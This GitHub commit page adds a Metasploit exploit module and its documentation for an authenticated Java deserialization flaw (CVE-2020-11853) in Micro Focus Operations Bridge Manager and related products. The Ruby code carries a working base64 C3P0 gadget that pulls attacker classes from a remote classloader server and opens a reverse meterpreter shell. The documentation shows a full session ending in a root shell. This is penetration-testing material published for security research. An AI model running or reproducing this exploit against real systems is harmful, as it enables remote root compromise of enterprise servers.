Skip to content

Commit 85b7e85

Browse files
cdelafuente-r7cdelafuente-r7
committed
Land #14671, Micro Focus Multiple Products Authenticated RCE (CVE-2020-11853)
2 parents 5262a76 + b6ad68c commit 85b7e85

File tree

2 files changed

+236
-0
lines changed

2 files changed

+236
-0
lines changed

‎documentation/modules/exploit/multi/http/microfocus_obm_auth_rce.md

+84
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
## Vulnerable Application
2+
3+
This module exploits an authenticated Java deserialization that affects a truckload of Micro Focus products:
4+
* Operations Bridge Manager versions: 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, versions 10.6x and 10.1x and older versions
5+
* Application Performance Management versions: 9.51, 9.50 and 9.40 with uCMDB 10.33 CUP 3
6+
* Data Center Automation version 2019.11
7+
* Operations Bridge (containerized) versions: 2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11
8+
* Universal CMDB versions: 2020.05, 2019.11, 2019.05, 2019.02, 2018.11, 2018.08, 2018.05, 11, 10.33, 10.32, 10.31, 10.30
9+
* Hybrid Cloud Management version 2020.05
10+
* Service Management Automation versions 2020.5 and 2020.02
11+
12+
Exploiting this vulnerability will result in remote code execution as the root user on Linux or the SYSTEM user on Windows.
13+
Authentication is required, the module user needs to login to the application and obtain the authenticated LWSSO_COOKIE_KEY,
14+
which should be fed to the module.
15+
Any authenticated user can exploit this vulnerability, even the lowest privileged ones.
16+
17+
The exploit uses a modified ysoserial c3p0 payload. The only part that is modified is that c3p0 is built using version 0.9.1.2,
18+
so that the serialVersionUid of the target is the same as the exploit. This can be achieved by patching ysoserial's pom.xml.
19+
20+
This module was only tested with Operations Bridge Manager 2020.05 and 2019.11. It should work as is with earlier Operations Bridge Manager
21+
versions, but it might require small modifications (to the cookie name or vulnerable URI) for the other affected products. However it is
22+
equally likely that it works out of the box with the other products, as HPE / Micro Focus is well known for re-using (vulnerable) code.
23+
24+
For more information refer to the advisory link:
25+
* https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md
26+
27+
Installation docs are available at:
28+
29+
* https://docs.microfocus.com/itom/Operations_Bridge_Manager:2020.05
30+
31+
Vulnerable versions of the software can be downloaded from Micro Focus website by requesting a demo.
32+
33+
## Verification Steps
34+
35+
1. Install the application
36+
2. Start msfconsole
37+
3. `use exploit/multi/http/microfocus_obm_auth_rce`
38+
4. `set rhost TARGET`
39+
5. `set lhost YOUR_IP`
40+
6. `set srvhost YOUR_IP`
41+
7. `set lwsso_cookie_key AUTHENTICATED_COOKIE`
42+
8. `run`
43+
9. You should get a shell.
44+
45+
## Options
46+
`LWSSO_COOKIE_KEY` is a required option that must be set by the user. This cookie is returned when a user authenticates to OBM using the
47+
web interface.
48+
Paste the cookie contents into this variable so that the module can perform the authenticated exploit.
49+
50+
## Scenarios
51+
52+
```
53+
msf6 > use exploit/multi/http/microfocus_obm_auth_rce
54+
[*] Using configured payload java/meterpreter/reverse_tcp
55+
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set rhosts 10.0.0.10
56+
rhosts => 10.0.0.10
57+
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set lhost 10.0.0.1
58+
lhost => 10.0.0.1
59+
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set srvhost 10.0.0.1
60+
srvhost => 10.0.0.1
61+
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set lwsso_cookie_key "7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew.."
62+
lwsso_cookie_key => 7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew..
63+
msf6 exploit(multi/http/microfocus_obm_auth_rce) > check
64+
[*] 10.0.0.10:443 - The service is running, but could not be validated.
65+
msf6 exploit(multi/http/microfocus_obm_auth_rce) > run
66+
67+
[*] Started reverse TCP handler on 10.0.0.1:4444
68+
[*] Using URL: http://10.0.0.1:8080/
69+
[+] Started remote classloader server at http://10.0.0.1:8080/
70+
[*] Sending remote classloader gadget to https://10.0.0.10/legacy/topaz/sitescope/conf/registration
71+
[*] Sending stage (58147 bytes) to 10.0.0.10
72+
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.9.8.10:36432) at 2021-01-28 18:13:18 +0700
73+
[*] Server stopped.
74+
75+
meterpreter > getuid
76+
Server username: root
77+
meterpreter > shell
78+
Process 1 created.
79+
Channel 1 created.
80+
uname -a
81+
Linux pwned 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
82+
id
83+
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
84+
```

‎modules/exploits/multi/http/microfocus_obm_auth_rce.rb

+152
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Micro Focus Operations Bridge Manager Authenticated Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits an authenticated Java deserialization that affects a truckload of Micro
20+
Focus products: Operations Bridge Manager, Application Performance Management, Data Center Automation,
21+
Universal CMDB, Hybrid Cloud Management and Service Management Automation. However this module
22+
was only tested on Operations Bridge Manager.
23+
Exploiting this vulnerability will result in remote code execution as the root user on Linux or
24+
the SYSTEM user on Windows.
25+
Authentication is required, the module user needs to login to the application and obtain the
26+
authenticated LWSSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can
27+
exploit this vulnerability, even the lowest privileged ones.
28+
For more information refer to the advisory link below.
29+
},
30+
'Author' =>
31+
[
32+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
33+
],
34+
'References' =>
35+
[
36+
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
37+
[ 'CVE', '2020-11853'],
38+
[ 'ZDI', '20-1327'],
39+
],
40+
'DisclosureDate' => '2020-10-28',
41+
'License' => MSF_LICENSE,
42+
'Platform' => 'java',
43+
'Arch' => ARCH_JAVA,
44+
'Privileged' => true,
45+
'Targets' => [
46+
['Micro Focus Operations Bridge Manager <= 2020.05 (and many other MF products)', {}]
47+
],
48+
'DefaultTarget' => 0,
49+
'DefaultOptions' => {
50+
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
51+
}
52+
)
53+
)
54+
55+
register_options([
56+
Opt::RPORT(443),
57+
OptString.new('TARGETURI', [true, 'Base path', '/']),
58+
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
59+
OptString.new('LWSSO_COOKIE_KEY', [true, 'Authenticated LWSSO_COOKIE_KEY session cookie'])
60+
])
61+
end
62+
63+
def check
64+
res = send_request_cgi({
65+
'method' => 'GET',
66+
'uri' => normalize_uri(target_uri.path, '/topaz/login.jsp')
67+
})
68+
69+
# unfortunately could not find an easy way to detect the version running, even when auth
70+
if res && res.code == 200 && res.body.include?('Login - Operations Bridge Manager')
71+
return Exploit::CheckCode::Detected
72+
end
73+
74+
return Exploit::CheckCode::Unknown
75+
end
76+
77+
def exploit
78+
# Start our HTTP server to provide remote classloading
79+
@classloader_uri = start_service
80+
81+
unless @classloader_uri
82+
fail_with(Failure::BadConfig, 'Could not start remote classloader server')
83+
end
84+
85+
print_good("Started remote classloader server at #{@classloader_uri}")
86+
87+
# heh, we got two of these, let's pick one randomly!
88+
vuln_uri = [
89+
'/legacy/topaz/sitescope/conf/registration',
90+
'/legacy/topaz/sitescope/conf/download'
91+
].sample
92+
93+
# Send our remote classloader gadget to the target, triggering the vuln
94+
send_request_gadget(
95+
normalize_uri(target_uri.path, vuln_uri)
96+
)
97+
end
98+
99+
# Convenience method to send our gadget to a URI
100+
def send_request_gadget(uri)
101+
print_status("Sending remote classloader gadget to #{full_uri(uri)}")
102+
103+
send_request_raw({
104+
'method' => 'POST',
105+
'uri' => uri,
106+
'cookie' => "LWSSO_COOKIE_KEY=#{datastore['LWSSO_COOKIE_KEY']}",
107+
'headers' => { 'Content-Type' => 'application/octet-stream' },
108+
'data' => go_go_gadget
109+
}, 0)
110+
end
111+
112+
# C3P0 payload generated with a ysoserial jar
113+
# The ysoserial jar needs to be built with c3p0 version 0.9.1.2 as that is what the target uses
114+
# See the advisory for details.
115+
#
116+
# java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 'http://whatever/:ExploitClass' | base64
117+
def go_go_gadget
118+
gadget = Rex::Text.decode_base64(
119+
<<~EOF
120+
rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwLlBvb2xCYWNrZWREYXRhU291cmNlZoRH/BzETxgC
121+
AAB4cgA1Y29tLm1jaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2tlZERhdGFTb3Vy
122+
Y2UAAAAAAAAAAQMAAHhyADFjb20ubWNoYW5nZS52Mi5jM3AwLmltcGwuUG9vbEJhY2tlZERhdGFT
123+
b3VyY2VCYXNlAAAAAAAAAAEDAAdJABBudW1IZWxwZXJUaHJlYWRzTAAYY29ubmVjdGlvblBvb2xE
124+
YXRhU291cmNldAAkTGphdmF4L3NxbC9Db25uZWN0aW9uUG9vbERhdGFTb3VyY2U7TAAOZGF0YVNv
125+
dXJjZU5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABRmYWN0b3J5Q2xhc3NMb2NhdGlvbnEAfgAE
126+
TAANaWRlbnRpdHlUb2tlbnEAfgAETAADcGNzdAAiTGphdmEvYmVhbnMvUHJvcGVydHlDaGFuZ2VT
127+
dXBwb3J0O0wAA3Zjc3QAIkxqYXZhL2JlYW5zL1ZldG9hYmxlQ2hhbmdlU3VwcG9ydDt4cHcCAAFz
128+
cgA9Y29tLm1jaGFuZ2UudjIubmFtaW5nLlJlZmVyZW5jZUluZGlyZWN0b3IkUmVmZXJlbmNlU2Vy
129+
aWFsaXplZGIZhdDRKsITAgAETAALY29udGV4dE5hbWV0ABNMamF2YXgvbmFtaW5nL05hbWU7TAAD
130+
ZW52dAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAEbmFtZXEAfgAJTAAJcmVmZXJlbmNldAAYTGph
131+
dmF4L25hbWluZy9SZWZlcmVuY2U7eHBwcHBzcgAWamF2YXgubmFtaW5nLlJlZmVyZW5jZejGnqKo
132+
6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3RvcnlxAH4ABEwA
133+
FGNsYXNzRmFjdG9yeUxvY2F0aW9ucQB+AARMAAljbGFzc05hbWVxAH4ABHhwc3IAEGphdmEudXRp
134+
bC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwAL
135+
ZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFu
136+
Zy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQADEV4cGxvaXRDbGFzc3QAEGh0
137+
dHA6Ly93aGF0ZXZlci90AAdleHBsb2l0cHBwdwQAAAAAeHcCAAF4
138+
EOF
139+
)
140+
141+
# Replace length-prefixed placeholder strings with our own
142+
gadget.sub!("\x00\x10http://whatever/", packed_classloader_uri)
143+
gadget.sub!("\x00\x07exploit", packed_class_name)
144+
gadget.sub("\x00\x0cExploitClass", packed_class_name)
145+
end
146+
147+
# Convenience method to pack the classloader URI as a length-prefixed string
148+
def packed_classloader_uri
149+
"#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
150+
end
151+
152+
end

0 commit comments

Comments
 (0)